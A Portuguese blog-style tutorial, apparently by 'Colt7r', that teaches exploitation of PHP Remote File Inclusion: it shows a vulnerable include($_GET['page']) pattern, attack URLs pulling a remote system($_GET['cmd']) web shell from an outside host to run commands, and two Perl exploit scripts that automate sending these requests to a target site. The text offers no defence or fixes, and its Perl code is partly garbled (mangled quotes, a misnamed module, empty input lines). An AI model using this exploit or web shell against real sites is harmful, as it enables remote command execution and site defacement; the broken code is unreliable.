Como que acontece a inclusão de arquivos remotos (RFI)?
A funçãoinclude() do PHP é usada para incluir alguma coisa.Se essa função não for usada com segurança, alguém mal-intencionado
poderá explorar esta falha de segurança. Assim podendo desfigurar seu site ou em alguns casos só invadir seu site por invadir. incluindo scripts PHP(php injection) e executar comandos arbitrários no sistema.
Exemplo de página vulnerável:
include($_GET['page']);Irá incluir a pagina especificada pelo programador, que será identificada via browser(na url), deixando o site vulnerável, pois qualquer um poderá mudar o nome da pagina via GET.
Ex:
http://127.0.0.1/vuln.php?page=http://www.qualquer-coisa.com/imagem.gifNesse caso, o arquivo imagem.gif será incluido na página, mas… o que acontece
se ao invés de incluirmos imagens, passarmos a injetar um script PHP do tipo:
system($_GET['cmd']);http://127.0.0.1/vuln.php?page=http://www.qualquer-coisa.com/script.txt&cmd=dir
A função system() executa comandos no sistema, no exemplo acima, o comando
executado será ‘dir’, e a resposta será algo parecido com:
O volume na unidade C não tem nome.O número de série do volume é ABCD-EFGHPasta de C:\apache\htdocs 29/02/2008 22:43 29/02/2008 22:43
29/02/2008 22:43 31 vuln.php
Um exploit simples para essa vulnerabilidade pode ser construído usando a seguinte
estrutura:- (Site) + (Página vulnerável + variavel vulnerável) + (Link para o script malicioso) + (Comando Unix/Windows dependendo do sistema operacional)
Exemplo:
http://www.site.com/vuln.php?inc=http://www.host-files.com/script.txt&cmd=dirSite: http://www.site.com/
Página vulnerável + variavel vulnerável: vuln.php?inc=
Script malicioso: http://www.host-files.com/script.txt
Comando: dir
Obs: o &cmd= em &cmd=dir pode variar dependendo do ’script malicioso’.
Exemplos:
—————————————————————————-
system($_GET['cmd']);http://www.site.com/página-vulnerável.php?variavel=http://algum-site.com/script.txt&cmd=qualquer coisa
—————————————————————————-
system($_GET['exec']);http://www.site.com/página-vulnerável.php?variavel=http://algum-site.com/script.txt&exec=qualquer coisa
—————————————————————————-
system($_GET['comando']);http://www.site.com/página-vulnerável.php?variavel=http://algum-site.com/script.txt&comando=qualquer coisa
OBS: É obvio que a pagina a ser injetada tem que estar em algum lugar que você colocar, e no servidor de hospedagem que você quiser.
—————————————————————————-
Vamos construir o exploit para explorar
Se site, link para o script malicioso, comando, arquivo e variável vulnerável foram passadas, então continua.Caso contrário, informe ao usuário sobre o erro.
#!/usr/bin/perlif(@ARGV != 4) {print "Modo de usar: perl exploit.txt \n”;print “Exemplo: perl http://www.site.com/ vulneravel.php?page= http://www.host.com/script-malicioso.txt dir\n”;exit;} ($site, $page, $script, $comando) = @ARGV;Os parâmetros necessários são passados como ‘argumentos’.
Se o total de argumentos passados para a execução do script for diferente de ‘4′ então mostre a mensagem de erro.
Vamos padronizar o script malicioso como sendo:
system($_GET['cmd']);então quando formos iniciar a requisição, colocaremos:
$argv_script = "&cmd=";portanto, a página que devemos ‘visitar’ será
$pagina = $site.$page.$script.$argv_script.$comando;Exemplo:
http://www.site.com/vulneravel.php?page=http://www.host.com/script-malicioso.txt&cmd=dirCom o módulo LWP::Simples, podemos usar a função get() que baixa uma página
e retorna para uma variável qualquer.
$resposta = get($pagina);e mostramos a saída do servidor web,
print $resposta;O corpo do exploit está concluído, o exploit é:
#!/usr/bin/perlif(@ARGV != 4) {print "Modo de usar: perl exploit.txt \n”;print “Exemplo: perl http://www.site.com/ vulneravel.php?page= http://www.host.com/script-malicioso.txt dir\n”;exit;}($site, $page, $script, $comando) = @ARGV;$argv_script = “&cmd=”;$pagina = $site.$page.$script.$argv_script.$comando; $resposta = get($pagina);print $resposta;A array @ARGV contém os argumentos passados para o script.($site, $page, $script, $comando) = @ARGV;seria o mesmo que
$site = $ARGV[0];$page = $ARGV[1];$script = $ARGV[2];$comando = $ARGV[3];Melhorias estéticas podem ser feitas, como por exemplo o uso de .
#!/usr/bin/perluse LWP::Simples; site:print "Host (Ex.: www.site.com): ";$site = ;if($site eq “”){goto site;}if($site =~ /http:\/\//){print ‘Nao coloque http:// !’.”\n”;goto site;}pagina:print “Pag. vulneravel (Ex.: Colt7r/vulneravel.php?page=): “;$page = ;if($site eq “”){goto pagina;}script:print “Script (Ex.: http://www.host-files.com/script.txt): “;$script = ;if($script eq “”){goto script;}if($script !~ /http:\/\//){goto script;}print “Variavel para executar comandos (script)\n”;print ‘Ex.: cmd = system($_GET[\'cmd\']): ‘;$argv_script = ;if(!$argv_script){$argv_script = “cmd”;}$argv_script = ‘&’.$argv_script.’=';comando:print “Comando: “;$comando = ;$pagina = $site.$page.$script.$argv_script.$comando;$resposta = get($pagina);print $resposta;goto comando;Esse é um exploit genérico, que serve apenas para demonstrar como explorar
a vulnerabilidade. Durante o desenvolvimento de um exploit para um software
específico, é necessário o uso de expressões regulares e outros.
Méritos: Colt7r


@FIREH4CK3R
ResponderExcluir#MANDARIM#
ResponderExcluir